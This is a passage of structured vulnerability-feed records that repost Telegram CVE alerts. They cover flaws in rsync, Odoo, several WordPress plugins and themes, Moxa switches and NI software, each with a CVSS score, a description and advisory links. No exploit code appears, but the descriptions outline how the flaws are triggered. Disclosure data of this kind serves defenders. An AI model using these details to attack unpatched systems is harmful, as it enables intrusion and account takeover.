DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12698\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)\n\ud83d\udd39 Description: An incomplete fix for ose-olm-catalogd-container was issued for the Rapid Reset Vulnerability (CVE-2023-39325/CVE-2023-44487) where only unauthenticated streams were protected, not streams created by authenticated sources.\n\ud83d\udccf Published: 2024-12-18T05:07:21.026Z\n\ud83d\udccf Modified: 2025-02-25T08:07:40.863Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/errata/RHSA-2024:6122\n2. https://access.redhat.com/security/cve/CVE-2024-12698\n3. https://bugzilla.redhat.com/show_bug.cgi?id=2332674", "creation_timestamp": "2025-02-25T08:25:23.000000Z"}, {"uuid": "b41c5ffb-ee7a-4ea3-b0ac-2ec6a49664f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12368", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5340", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12368\n\ud83d\udd25 CVSS Score: 8.1 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)\n\ud83d\udd39 Description: Improper access control in the auth_oauth module of Odoo Community 15.0 and Odoo Enterprise 15.0 allows an internal user to export the OAuth tokens of other users.\n\ud83d\udccf Published: 2025-02-25T18:10:12.109Z\n\ud83d\udccf Modified: 2025-02-25T18:10:12.109Z\n\ud83d\udd17 References:\n1. https://github.com/odoo/odoo/issues/193854", "creation_timestamp": "2025-02-25T18:22:34.000000Z"}, {"uuid": "e56f4dde-b08c-4caa-b61e-40e8e9d0f6c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12878", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5470", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12878\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Custom Block Builder  WordPress plugin before 3.8.3 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n\ud83d\udccf Published: 2025-02-26T06:00:07.209Z\n\ud83d\udccf Modified: 2025-02-26T06:00:07.209Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/827444d1-87cb-4057-827a-d802eac82cf8/", "creation_timestamp": "2025-02-26T06:25:24.000000Z"}, {"uuid": "03fe51d2-fe50-4d6a-943a-96249920aa2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5498", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12084\n\ud83d\udd25 CVSS Score: 9.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: A heap-based buffer overflow flaw was found in the rsync daemon. This issue is due to improper handling of attacker-controlled checksum lengths (s2length) in the code. When MAX_DIGEST_LEN exceeds the fixed SUM_LENGTH (16 bytes), an attacker can write out of bounds in the sum2 buffer.\n\ud83d\udccf Published: 2025-01-15T14:16:35.363Z\n\ud83d\udccf Modified: 2025-02-26T14:11:34.507Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2024-12084\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2330527\n3. https://kb.cert.org/vuls/id/952657", "creation_timestamp": "2025-02-26T14:25:27.000000Z"}, {"uuid": "e54cf1bb-b594-4216-ab0b-6bb4f01a6ff2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5494", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12086\n\ud83d\udd25 CVSS Score: 6.1 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N)\n\ud83d\udd39 Description: A flaw was found in rsync. It could allow a server to enumerate the contents of an arbitrary file from the client's machine. This issue occurs when files are being copied from a client to a server. During this process, the rsync server will send checksums of local data to the client to compare with in order to determine what data needs to be sent to the server. By sending specially constructed checksum values for arbitrary files, an attacker may be able to reconstruct the data of those files byte-by-byte based on the responses from the client.\n\ud83d\udccf Published: 2025-01-14T17:37:54.960Z\n\ud83d\udccf Modified: 2025-02-26T14:20:53.620Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2024-12086\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2330577\n3. https://kb.cert.org/vuls/id/952657", "creation_timestamp": "2025-02-26T14:25:21.000000Z"}, {"uuid": "6b581a5c-cc72-425c-a461-df9ef9ac1129", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5493", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12085\n\ud83d\udd25 CVSS Score: 7.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: A flaw was found in rsync which could be triggered when rsync compares file checksums. This flaw allows an attacker to manipulate the checksum length (s2length) to cause a comparison between a checksum and uninitialized memory and leak one byte of uninitialized stack data at a time.\n\ud83d\udccf Published: 2025-01-14T17:37:16.036Z\n\ud83d\udccf Modified: 2025-02-26T14:20:59.800Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/errata/RHSA-2025:0324\n2. https://access.redhat.com/errata/RHSA-2025:0325\n3. https://access.redhat.com/errata/RHSA-2025:0637\n4. https://access.redhat.com/errata/RHSA-2025:0688\n5. https://access.redhat.com/errata/RHSA-2025:0714\n6. https://access.redhat.com/errata/RHSA-2025:0774\n7. https://access.redhat.com/errata/RHSA-2025:0787\n8. https://access.redhat.com/errata/RHSA-2025:0790\n9. https://access.redhat.com/errata/RHSA-2025:0849\n10. https://access.redhat.com/errata/RHSA-2025:0884\n11. https://access.redhat.com/errata/RHSA-2025:0885\n12. https://access.redhat.com/errata/RHSA-2025:1120\n13. https://access.redhat.com/errata/RHSA-2025:1123\n14. https://access.redhat.com/errata/RHSA-2025:1128\n15. https://access.redhat.com/errata/RHSA-2025:1225\n16. https://access.redhat.com/errata/RHSA-2025:1227\n17. https://access.redhat.com/errata/RHSA-2025:1242\n18. https://access.redhat.com/errata/RHSA-2025:1451\n19. https://access.redhat.com/security/cve/CVE-2024-12085\n20. https://bugzilla.redhat.com/show_bug.cgi?id=2330539\n21. https://kb.cert.org/vuls/id/952657", "creation_timestamp": "2025-02-26T14:25:20.000000Z"}, {"uuid": "af2c0df7-48db-409c-96f1-918c1be96de9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5497", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12087\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N)\n\ud83d\udd39 Description: A path traversal vulnerability exists in rsync. It stems from behavior enabled by the `--inc-recursive` option, a default-enabled option for many client options and can be enabled by the server even if not explicitly enabled by the client. When using the `--inc-recursive` option, a lack of proper symlink verification coupled with deduplication checks occurring on a per-file-list basis could allow a server to write files outside of the client's intended destination directory. A malicious server could write malicious files to arbitrary locations named after valid directories/paths on the client.\n\ud83d\udccf Published: 2025-01-14T17:57:33.927Z\n\ud83d\udccf Modified: 2025-02-26T14:12:41.645Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2024-12087\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2330672\n3. https://kb.cert.org/vuls/id/952657", "creation_timestamp": "2025-02-26T14:25:23.000000Z"}, {"uuid": "c57acd34-2139-430f-992c-c8d50408fe11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5496", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12088\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N)\n\ud83d\udd39 Description: A flaw was found in rsync. When using the `--safe-links` option, the rsync client fails to properly verify if a symbolic link destination sent from the server contains another symbolic link within it. This results in a path traversal vulnerability, which may lead to arbitrary file write outside the desired directory.\n\ud83d\udccf Published: 2025-01-14T17:38:34.890Z\n\ud83d\udccf Modified: 2025-02-26T14:13:22.355Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2024-12088\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2330676\n3. https://kb.cert.org/vuls/id/952657", "creation_timestamp": "2025-02-26T14:25:23.000000Z"}, {"uuid": "64b5613f-795a-4da9-ac1b-22b0421e696e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12281", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6536", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12281\n\ud83d\udd25 CVSS Score: 9.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: The Homey theme for WordPress is vulnerable to privilege escalation in all versions up to, and including, 2.4.2. This is due to the plugin allowing users who are registering new accounts to set their own role. This makes it possible for unauthenticated attackers to gain elevated privileges by creating an account with the Editor or Shop Manager role.\n\ud83d\udccf Published: 2025-03-05T11:22:09.778Z\n\ud83d\udccf Modified: 2025-03-05T11:22:09.778Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/3b93c33c-4ab1-48a2-b84d-3cb38ccea829?source=cve\n2. https://themeforest.net/item/homey-booking-wordpress-theme/23338013", "creation_timestamp": "2025-03-05T11:37:36.000000Z"}, {"uuid": "e43099a4-59d4-406d-978e-27bcccb38da1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12811", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5823", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12811\n\ud83d\udd25 CVSS Score: 8.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: The Traveler theme for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 3.1.8 via the 'hotel_alone_slider' shortcode 'style' attribute. This makes it possible for authenticated attackers, with contributor-level and above permissions, to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where php file type can be uploaded and included.\n\ud83d\udccf Published: 2025-02-27T23:22:40.122Z\n\ud83d\udccf Modified: 2025-02-27T23:22:40.122Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/a09298b3-3b5c-4a92-9332-79ff83234479?source=cve\n2. https://travelerwp.com/traveler-changelog/", "creation_timestamp": "2025-02-28T00:25:53.000000Z"}, {"uuid": "ce19597e-fdde-4ca5-9d98-61aa582747b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12820", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5842", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12820\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The MK Google Directions plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'MKGD' shortcode in all versions up to, and including, 3.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-02-28T05:23:15.594Z\n\ud83d\udccf Modified: 2025-02-28T05:23:15.594Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/23b3570c-cd8e-4dec-bbad-6374c44530bd?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3246361/google-distance-calculator/tags/3.1.1/mk-google-directions.php?old=3046209&old_path=google-distance-calculator%2Ftags%2F3.1%2Fmk-google-directions.php", "creation_timestamp": "2025-02-28T06:25:59.000000Z"}, {"uuid": "877fe141-0405-492f-91fb-35e2dda07b39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12815", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/6520", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12815\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Point Maker plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'point_maker' shortcode in all versions up to, and including, 0.1.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-03-05T09:21:48.649Z\n\ud83d\udccf Modified: 2025-03-05T09:21:48.649Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/c4a46d4c-3f03-4d41-8382-b43a02b59cb2?source=cve\n2. https://plugins.trac.wordpress.org/browser/point-maker/trunk/shortcode.php\n3. https://wordpress.org/plugins/point-maker/", "creation_timestamp": "2025-03-05T09:35:56.000000Z"}, {"uuid": "38dfa59b-10f1-469b-a2e4-aa5956e8e5fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12589", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7290", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12589\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Finale Lite \u2013 Sales Countdown Timer & Discount for WooCommerce plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via the countdown timer in all versions up to, and including, 2.19.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-03-12T07:00:22.816Z\n\ud83d\udccf Modified: 2025-03-12T07:00:22.816Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/ae0a001b-0792-4a32-8f49-5d4b1550f4be?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3247611/finale-woocommerce-sales-countdown-timer-discount", "creation_timestamp": "2025-03-12T07:43:57.000000Z"}, {"uuid": "5ba928ec-6108-4db6-97d6-b3769debe200", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12544", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/6059", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12544\n\ud83d\udd25 CVSS Score: 8.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: The SurveyJS: Drag & Drop WordPress Form Builder to create, style and embed multiple forms of any complexity plugin for WordPress is vulnerable to arbitrary file deletion due to a missing capability check on the callback function of the SurveyJS_DeleteFile class in all versions up to, and including, 1.12.17. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). This function is still vulnerable to Cross-Site Request Forgery as of 1.12.20.\n\ud83d\udccf Published: 2025-03-01T07:24:06.268Z\n\ud83d\udccf Modified: 2025-03-01T07:24:06.268Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/e9404fe4-855e-4eb4-81c4-5246f6e9be0c?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3222216/surveyjs/trunk/ajax_handlers/delete_file.php\n3. https://plugins.trac.wordpress.org/changeset/3214665/", "creation_timestamp": "2025-03-01T08:27:06.000000Z"}, {"uuid": "938bd996-de53-48b2-972a-105baf9f5620", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12824", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6058", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12824\n\ud83d\udd25 CVSS Score: 9.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: The Nokri \u2013 Job Board WordPress Theme theme for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 1.6.2. This is due to the plugin not properly checking for an empty token value prior updating their details like password. This makes it possible for unauthenticated attackers to change arbitrary user's password, including administrators, and leverage that to gain access to their account.\n\ud83d\udccf Published: 2025-03-01T06:39:26.867Z\n\ud83d\udccf Modified: 2025-03-01T06:39:26.867Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/60a7cce0-637f-49bd-aa4a-fd7023d99a64?source=cve\n2. https://themeforest.net/item/nokri-job-board-wordpress-theme/22677241", "creation_timestamp": "2025-03-01T07:27:02.000000Z"}, {"uuid": "1c673100-fc0d-4afb-9767-deb5bc15bb62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12742", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6700", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12742\n\ud83d\udd25 CVSS Score: 7.8 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: A deserialization of untrusted data vulnerability exists in NI G Web Development Software that may result in arbitrary code execution.\u202f Successful exploitation requires an attacker to get a user to open a specially crafted project file.\u202f This vulnerability affects G Web Development Software 2022 Q3 and prior versions.\n\ud83d\udccf Published: 2025-03-06T16:27:31.660Z\n\ud83d\udccf Modified: 2025-03-06T16:27:31.660Z\n\ud83d\udd17 References:\n1. https://www.ni.com/en/support/security/available-critical-and-security-updates-for-ni-software/deserialization-of-untrusted-data-vulnerability-in-ni-g-web-deve.html", "creation_timestamp": "2025-03-06T16:33:58.000000Z"}, {"uuid": "99d827db-abc2-49f8-afb8-38f02fc35bb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12144", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6673", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12144\n\ud83d\udd25 CVSS Score: 9.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Finder Fire Safety Finder ERP/CRM (Old System) allows SQL Injection.This issue affects Finder ERP/CRM (Old System): before 18.12.2024.\n\ud83d\udccf Published: 2025-03-06T14:05:09.395Z\n\ud83d\udccf Modified: 2025-03-06T14:05:09.395Z\n\ud83d\udd17 References:\n1. https://www.usom.gov.tr/bildirim/tr-25-0060", "creation_timestamp": "2025-03-06T15:10:43.000000Z"}, {"uuid": "39bf29a4-b2cc-4904-b60f-a1a21ffeb4aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12146", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6672", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12146\n\ud83d\udd25 CVSS Score: 7.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: Improper Validation of Syntactic Correctness of Input vulnerability in Finder Fire Safety Finder ERP/CRM (New System) allows SQL Injection.This issue affects Finder ERP/CRM (New System): before 18.12.2024.\n\ud83d\udccf Published: 2025-03-06T14:08:33.654Z\n\ud83d\udccf Modified: 2025-03-06T14:08:33.654Z\n\ud83d\udd17 References:\n1. https://www.usom.gov.tr/bildirim/tr-25-0060", "creation_timestamp": "2025-03-06T15:10:42.000000Z"}, {"uuid": "7102af8c-5b7c-41e7-889e-65d954ca2bf3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12650", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6541", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12650\n\ud83d\udd25 CVSS Score: 5.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L)\n\ud83d\udd39 Description: An attacker with low privileges can manipulate the requested memory size, causing the application to use an invalid memory area. This could lead to a crash of the application but it does not affected other applications.\n\ud83d\udccf Published: 2025-03-05T11:46:15.486Z\n\ud83d\udccf Modified: 2025-03-05T11:46:15.486Z\n\ud83d\udd17 References:\n1. https://cert.vde.com/en/advisories/VDE-2025-004", "creation_timestamp": "2025-03-05T12:37:25.000000Z"}, {"uuid": "ebb5f929-b923-4bd8-941d-e644686e92f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6655", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12297\n\ud83d\udd25 CVSS Score: 9.2 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L)\n\ud83d\udd39 Description: Moxa\u2019s Ethernet switch is vulnerable to an authentication bypass because of flaws in its authorization mechanism. Although both client-side and back-end server verification are involved in the process, attackers can exploit weaknesses in its implementation. These vulnerabilities may enable brute-force attacks to guess valid credentials or MD5 collision attacks to forge authentication hashes, potentially compromising the security of the device.\n\ud83d\udccf Published: 2025-01-15T10:00:46.524Z\n\ud83d\udccf Modified: 2025-03-06T08:27:52.297Z\n\ud83d\udd17 References:\n1. https://www.moxa.com/en/support/product-support/security-advisory/mpsa-241407-cve-2024-12297-frontend-authorization-logic-disclosure-vulnerability-in-eds-508a-series\n2. https://www.moxa.com/en/support/product-support/security-advisory/mpsa-241408-cve-2024-12297-frontend-authorization-logic-disclosure-vulnerability-identified-in-pt-switches", "creation_timestamp": "2025-03-06T08:37:17.000000Z"}, {"uuid": "0a72e36f-4910-4e6f-83e4-f70247fc2d8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12741", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6711", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12741\n\ud83d\udd25 CVSS Score: 7.8 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: A deserialization of untrusted data vulnerability exists in NI DAQExpress that may result in remote code execution. Successful exploitation requires an attacker to get a user to open a specially crafted project file. This vulnerability affects DAQExpress 5.1 and prior versions. \u00a0Please note that DAQExpress is an EOL product and will not receive any updates.\n\ud83d\udccf Published: 2024-12-18T19:20:41.889Z\n\ud83d\udccf Modified: 2025-03-06T16:18:31.635Z\n\ud83d\udd17 References:\n1. https://knowledge.ni.com/KnowledgeArticleDetails?id=kA00Z000000kFD7SAM&l=en-US", "creation_timestamp": "2025-03-06T16:34:14.000000Z"}, {"uuid": "7805dce4-8f0e-41f7-b8ce-d8553fadfd0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12809", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6805", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12809\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Wishlist plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wishlist_button' shortcode in all versions up to, and including, 1.0.43 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-03-07T06:40:03.042Z\n\ud83d\udccf Modified: 2025-03-07T06:40:03.042Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/1b902d46-ff27-486f-836d-f55a8048f08c?source=cve\n2. https://plugins.trac.wordpress.org/browser/wishlist/trunk/includes/classes/class-shortcodes.php?rev=3215801#L223\n3. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3242533%40wishlist&new=3242533%40wishlist&sfp_email=&sfph_mail=\n4. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3251476%40wishlist&new=3251476%40wishlist&sfp_email=&sfph_mail=", "creation_timestamp": "2025-03-07T07:37:20.000000Z"}, {"uuid": "607ee4be-08cc-4512-86e0-f7a508f88fa9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12837", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6822", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12837\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Software installed and run as a non-privileged user may conduct improper GPU system calls to corrupt kernel heap memory.\n\ud83d\udccf Published: 2025-03-07T07:45:16.126Z\n\ud83d\udccf Modified: 2025-03-07T07:45:16.126Z\n\ud83d\udd17 References:\n1. https://www.imaginationtech.com/gpu-driver-vulnerabilities/", "creation_timestamp": "2025-03-07T08:35:12.000000Z"}, {"uuid": "e97ed90a-45e8-4723-921b-849b09dd70cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": 